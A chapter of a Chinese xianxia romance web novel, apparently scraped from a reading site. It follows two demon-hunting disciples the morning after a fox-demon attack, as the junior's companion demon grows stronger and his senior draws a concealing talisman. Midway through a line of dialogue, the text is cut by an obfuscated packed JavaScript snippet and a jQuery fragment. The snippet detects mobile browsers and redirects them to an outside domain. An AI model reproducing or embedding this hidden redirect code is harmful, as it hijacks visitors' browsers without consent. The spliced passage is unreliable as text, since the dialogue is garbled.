默认冷灰
24号文字
方正启体

86. 锁梧桐(十九)

作者:好大一只猹本书字数:K更新时间:
    水滴溅落,发出几声轻响。


    宋岐灵缓缓睁眼,目光所及,一片澄澈通透的金黄。


    清晨的阳光穿透窗棂,恍若琥珀熬融成浆,充盈着暖室,其间浮动着数不清的微尘,如星屑流转。


    微薄的暖意却也驱散不了脊背的寒凉,她动了动僵硬的身躯,扭头看向一旁。


    那只被裹得严实的“茧子”历经一夜,竟分毫未松动,想来里头的人定睡得十分香甜。


    宋岐灵心中忽有些酸意,扯着薄毯往自己身上罩去,阻隔周身的寒气,目光却不由自主往师弟面上看去。


    光瀑洒落,将他乌黑的发丝染上一层柔软的棕金,几缕不听话的碎发垂落额前,竟也变得透明起来,恍如融化的金丝。


    不可否认,师弟生了副极好的皮相,尤其在晨光的眷顾下,下颌、鼻梁,乃至微抿的唇线,都被勾勒出一圈细腻柔和的金边,像被画师精心描摹过一般。


    她的目光中邪般地落在他的下唇上,在那块暗红的血痂上停留许久,心头有一处倏尔往下塌陷几分,酥酥痒痒,好似有只毛茸茸爪子在上面轻挠。


    一道稍亮的光束,不偏不倚地投落在顾连舟的眉心之间,只见他眉头微蹙,于下一瞬间,睁开了双眼。


    许是因骤然见光的原因,这双乌沉的眸子似乎蒙着一层短暂的迷蒙水汽,但很快,那水汽便散去,瞳孔清晰地倒映出近在咫尺的人影。


    同样被金光笼罩的宋岐灵神色微怔,毫无防备地与师弟四目相迎。


    她扯了扯嘴角:“醒了?”


    顾连舟只觉自己好似做了一场漫长的梦,此刻陡然转醒,梦中之人便在眼前,一时竟分不清现实与梦境。


    应是梦境罢,只是师兄眼下的青黑为何如此浓重?


    这么想着,他忽觉头疼欲裂,梦中的场景在脑海中飞快闪过,师兄恼怒的声音犹在耳边回响,秀丽微蹙的眉头与眼前之人重叠,叫他生出一股莫名的心虚。


    “师兄,你为何在这?”他哑着嗓子道,想要起身,却觉周身被衾被紧紧束缚着,连翻身都成了奢侈。


    宋岐灵呼吸一凝,见他神情困惑,不像装的,应当是对昨夜发生的事情全无印象,顿时松了口气,提前准备好的说辞也有了用武之地。


    她解释道:“自然是守着你,怕你出事啊。昨夜你不知从哪儿招惹的九尾狐妖,一路尾随你进了院子,在房间里掀起好大的动静,我听见动静便赶了过来了,见你摔倒在地,那伴生妖也显了形,与那只妖物相斗,最终将它蚕食殆尽,这才保住了你的小命。”


    说罢,她舔了舔唇,低声试探道:“你……身上可有不舒服的地方?”


    说话间,顾连舟已从紧裹的被褥中挣脱出一条臂膀,扯着被子剥离开,目光扫过身上单薄的衣物,脑中“嗡嗡”作响,下意识地抬眼看向师兄。


    他飞快将被褥拉至下巴处,瓮声瓮气回道:“没有甚不舒服的地方,只是觉得脑中浑沌,不甚清醒。”


    看着局促的师弟,宋岐灵挪开目光,亦变得不自在起来:“既无事,那便起身梳洗一下,我……我去买些早点。”


    说罢,不等他反应,便撑着近旁的屏风站起身来,抱着薄毯一瘸一拐地往外走去。


    “哦,对了。”她脚步微顿,头也不回道,“那狐妖道行不浅,你的伴生妖将它吃了,算是大补,此刻应当妖力大涨,已经可以现出原形了,你平日里须得注意些,莫在人前将它放出,以免引起旁人的恐慌。”


    顾连舟抬手抵着额角一一应过,见师兄匆匆离去,他才后知后觉意识到一丝不对劲。


    下唇火辣辣的胀痛着,好似被什么东西叮咬了似的,身上……似乎也不大清爽。


    他迟疑地伸手探进厚实的衾被,往下捞了一把,大脑登时变得一片空白。


    他昨夜,究竟都做了些什么啊……


    -


    丢失一夜记忆的顾连舟变得格外沉默。


    沉默地就着半盆凉水将身体清洗干净,沉默地把换下的衣物一股脑扔进盆中,取了块胰皂往院子中去了。


    他蹲在院中的歪脖子树下,动作粗鲁地搓洗着衣上的污渍,眼中的光明明灭灭,最终化为一片死气沉沉。


    不论昨夜他做了什么,亦或是梦了什么,唯一可以确定的是,此事与师兄分不开关系。


    思及此,他对自己的厌恶升至顶点。


    恶心。


    无耻。


    不配为人。


    哦,他眼下已然算不上人了。


    师兄走前叮嘱了什么来着?他神思微动,数道柔韧的菟丝子自脚下飞快探出头,原本漆黑光滑的根茎此刻布满了紫色纹路,在阳光下散发着幽光。


    而它的体型也变成了原本的两倍之大,用“菟丝子”称呼它似乎大材小用了些。


    似是感应到了他的想法,菟丝子的躯干飞速缩小成拇指粗细,乖巧地匍匐在他脚边,钻进草丛里轻轻摆动。


    “……”倒是意外的听话。


    便是这物吞噬了那劳什子九尾狐妖?


    顾连舟眉头微蹙,想着平日里的菟丝子顶破天开个锁,托举些重物,无论如何也想不到它竟会变得如此凶残。


    它是如何绞杀那狐妖的?


    想法甫一出现,菟丝子便得意洋洋地抖动着触角,在一阵狂风中倏地窜起,看似无害的妖物陡然窜高数丈,布满妖纹的触手顷刻间将庭院填满。


    顺带掀翻了顾连舟手中的木盆。


    宋岐灵拎着油纸包推门而入时,看见的便是这一幅场景——巨蟒似的妖物扭动着躯体,翻滚扭动着,好似要将这方天地捅破……


    一截软乎乎的尾端亲昵地蹭过她的身前,颇为粘人地贴上她的脸颊,留下冰凉的湿痕。


    宋岐灵费力地睁眼,看清了被菟丝子围在中间的师弟,胸口起伏,长吸一口气,转身便将大门掩上。


    不过是出趟门的功夫,他这是要反了天了?


    “快收一收你身上的妖气罢。”她寻着夹缝往里走,伸手拂去腰间不老实的触手,看见了歪脖子树下神情无辜的顾连舟,无奈道,“我给你带吃的来了。”


    又是一阵呼啸的风声,衣袂翻飞、发丝凌乱间,院中的巨物已消失不见,只见师弟将歪倒的木盆扶正,捡起散落在地的衣衫,起身朝她走来。


    目光扫过师弟手中湿漉漉的衣衫,宋岐灵眉梢微抬:“大清早就洗衣裳,这么勤快?”


    顾连舟闷声应了句,将衣裳往身后藏了藏,简直把“心中有鬼”四字写在了脸上。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270438|182273||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身体既不舒服便少做些事,还有你的伴生妖,怎的如此猖狂,都飞到我脸上来了。”她伸手擦去面上的水痕,提着油纸包往屋里走去,“快别洗了,先陪我用饭。”


    闻言,顾连舟沉默地点头,索性将木盆与衣物一并放下,转身跟着师兄亦步亦趋。


    他这顿饭用得也异常安静。


    而宋岐灵揣着心事去买饭,因脑中熬着浆糊般不清不楚,只买了四个实心馒头,连咸菜和粥都忘了买。


    是以,尽管两人噎得厉害,也未有人提出半点不满,最终,许是顾连舟噎得狠了,这才主动提出去烧壶水。


    待顾连舟提着水壶去而复返,便见师兄端坐于桌前,手执朱笔,在黄符上画着繁复的咒文,离得近了,便觉其神凝气聚,鬓边偶有细汗渗出,沿着发丝往滑至下颌。


    见状,他不敢出声打扰,只静静地守在一旁。


    约莫过了半盏茶的功夫,师兄方长长出了一口气,拈起那张符纸在空中抖了抖,等待上头的墨迹风干。


    顾连舟盯着那符文看了看,忍不住道:“师兄在画什么?”


    宋岐灵转头看向他:“为你准备隐匿妖气的符纸。”


    她道:“今时不同往日,若菟丝子总像今日这般猖狂,那滔天的妖气怕不是会把整座南城的除妖师都引来,届时,免不了一阵腥风血雨。”


    也就是她知晓师弟本性纯良,伴生妖亦是一只善妖,这才肯出手帮他一把,若换做旁人,怕是要将他绑在柱子上当众烧死。


    顾连舟诧异地看着那符纸,目光移到师兄脸上,而后心头涌上一阵酸软,他放下茶壶,指尖微颤着翻起茶杯,替师兄倒了杯热茶。


    “师兄,犯不着为我做这么多的。”他将茶杯往前推了推,惭愧道,“我本想成为师兄的助力,不成想倒给师兄添了许多麻烦。”


    “不麻烦。”宋岐灵不假思索道。


    她看着手中的黄符,满意得不得了,“我从前学习捉妖术法,练习画符,是为了除魔卫道,还民太平,也算是替自己积攒功德,寻求心安。”


    她将符纸放于桌上抚平,指尖翻飞,将它叠成三角形,道:“你心存善念,即便与那菟丝子共生也并未做出害人性命之事,我作为师兄,岂能见你身陷水火却坐视不理?”


    闻言,顾连舟的眉心重重一跳。


    他……似乎并非如师兄说的那般好。


    宋岐灵将黄符叠得齐整,继而从腰间取下锦囊,将里头的香丸倒出,把符纸塞了进去,这才满意地拎起符包,递与顾连舟,催促他挂在身上。


    见他乖顺地照做,她方露出笑意来:“既佩戴了这道符,便轻易不能摘下,可记住了?”


    顾连舟点头,目光自师兄面上扫过,俄而下移,落在她腰间花花绿绿的锦囊之上。


    从前就发现师兄对打扮不甚在意,粗布衣衫亦穿得,唯有腰上,缀着各式锦囊香袋,好似揣着不见底的百宝袋,行走间“扑棱棱”作响。


    视线停在一只翠色小巧的香袋上,顾连舟手指微抬,指着它轻笑道:“师兄唯独钟爱这只香袋,竟日日佩戴,不曾摘下过。”


    闻言,宋岐灵顺着他的指尖看去,对着腰间的无相符噎了一瞬。


    这人眼尖便算了,怎的记性还这般好?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)